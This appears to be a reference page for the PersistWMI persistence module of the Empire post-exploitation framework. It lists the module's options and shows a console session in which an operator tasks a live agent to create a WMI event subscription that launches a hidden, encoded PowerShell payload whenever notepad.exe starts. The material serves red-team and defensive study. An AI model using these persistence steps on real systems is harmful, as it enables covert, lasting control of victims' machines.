PersistWMI - Empire Module


This page contains detailed information about how to use the csharp/SharpSploit.Persistence/PersistWMI Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: PersistWMI
Module: csharp/SharpSploit.Persistence/PersistWMI
Source code: empire/server/modules/csharp/SharpSploit.Persistence.Covenant.yaml#L211
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The PersistWMI module creates a WMI Event, Consumer and Binding to execute a payload.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the PersistWMI module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the PersistWMI module:

Agent
Agent to run module on.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

EventConsumer
Specifies the action to carry out.
Default value: CommandLine.

EventFilter
Specifies the event trigger to use.
Default value: ProcessStart.

EventName
Creates a WMI Event, Consumer and Binding to execute a payload. EventName: An arbitrary name to be assigned to the new WMI Event. E.g. "Evil Persistence". EventFilter: Specifies the event trigger to use. The options are "ProcessStart". EventConsumer: Specifies the action to carry out. The options are "CommandLine" (OS Command) and "ActiveScript" (JScript or VBScript). Payload: Specifies the CommandLine or ActiveScript payload to run. E.g. "powershell -Sta -Nop -Window Hidden -EncodedCommand <blah>". ProcessName: Specifies the process name when the "ProcessStart" trigger is selected. E.g. "notepad.exe". ScriptingEngine: Specifies the scripting engine when the "ActiveScript" consumer is selected. The options are "JScript" and "VBScript".
Default value: Evil Persistence.

Payload
Specifies the CommandLine or ActiveScript payload to run.
Default value: powershell -Sta -Nop -Window Hidden -EncodedCommand <blah>.

ProcessName
Specifies the process name when the ProcessStart trigger is selected.
Default value: notepad.exe.

Additional Module Options


This is a list of additional options that are supported by the PersistWMI module:

ScriptingEngine
Specifies the scripting engine when the ActiveScript consumer is selected.
Default value: VBScript.

PersistWMI Example Usage


Here's an example of how to use the PersistWMI module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.Persistence/PersistWMI

 Author       _RastaMouse                                                     
 Background   False                                                           
 Description  Creates a WMI Event, Consumer and Binding to execute a payload. 
 Language     csharp                                                          
 Name         csharp/SharpSploit.Persistence/PersistWMI                       
 NeedsAdmin   False                                                           
 OpsecSafe    False                                                           


,Record Options---,-------------------------------------,----------,-------------------------------------,
| Name            | Value                               | Required | Description                         |
|-----------------|-------------------------------------|----------|-------------------------------------|
| Agent           |                                     | True     | Agent to run module on.             |
|-----------------|-------------------------------------|----------|-------------------------------------|
| DotNetVersion   | Net35                               | True     | .NET version to compile against     |
|-----------------|-------------------------------------|----------|-------------------------------------|
| EventConsumer   | CommandLine                         | True     | Specifies the action to carry out.  |
|-----------------|-------------------------------------|----------|-------------------------------------|
| EventFilter     | ProcessStart                        | True     | Specifies the event trigger to use. |
|-----------------|-------------------------------------|----------|-------------------------------------|
| EventName       | Evil Persistence                    | True     | Creates a WMI Event, Consumer and   |
|                 |                                     |          | Binding to execute a payload.       |
|                 |                                     |          | EventName: An arbitrary name to be  |
|                 |                                     |          | assigned to the new WMI Event. E.g. |
|                 |                                     |          | "Evil Persistence".                 |
|                 |                                     |          | EventFilter: Specifies the event    |
|                 |                                     |          | trigger to use. The options are     |
|                 |                                     |          | "ProcessStart".                     |
|                 |                                     |          | EventConsumer: Specifies the action |
|                 |                                     |          | to carry out. The options are       |
|                 |                                     |          | "CommandLine" (OS Command) and      |
|                 |                                     |          | "ActiveScript" (JScript or          |
|                 |                                     |          | VBScript).         Payload:         |
|                 |                                     |          | Specifies the CommandLine or        |
|                 |                                     |          | ActiveScript payload to run. E.g.   |
|                 |                                     |          | "powershell -Sta -Nop -Window       |
|                 |                                     |          | Hidden -EncodedCommand <blah>".     |
|                 |                                     |          | ProcessName: Specifies the process  |
|                 |                                     |          | name when the "ProcessStart"        |
|                 |                                     |          | trigger is selected. E.g.           |
|                 |                                     |          | "notepad.exe".                      |
|                 |                                     |          | ScriptingEngine: Specifies the      |
|                 |                                     |          | scripting engine when the           |
|                 |                                     |          | "ActiveScript" consumer is          |
|                 |                                     |          | selected. The options are "JScript" |
|                 |                                     |          | and "VBScript".                     |
|-----------------|-------------------------------------|----------|-------------------------------------|
| Payload         | powershell -Sta -Nop -Window Hidden | True     | Specifies the CommandLine or        |
|                 | -EncodedCommand <blah>              |          | ActiveScript payload to run.        |
|-----------------|-------------------------------------|----------|-------------------------------------|
| ProcessName     | notepad.exe                         | True     | Specifies the process name when the |
|                 |                                     |          | ProcessStart trigger is selected.   |
|-----------------|-------------------------------------|----------|-------------------------------------|
| ScriptingEngine | VBScript                            | False    | Specifies the scripting engine when |
|                 |                                     |          | the ActiveScript consumer is        |
|                 |                                     |          | selected.                           |
'-----------------'-------------------------------------'----------'-------------------------------------'

(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set EventConsumer CommandLine
[*] Set EventConsumer to CommandLine
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set EventFilter ProcessStart
[*] Set EventFilter to ProcessStart
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set EventName Evil
[*] Set EventName to Evil
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set Payload powershell
[*] Set Payload to powershell
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set ProcessName notepad.exe
[*] Set ProcessName to notepad.exe
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author


  • _RastaMouse

References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.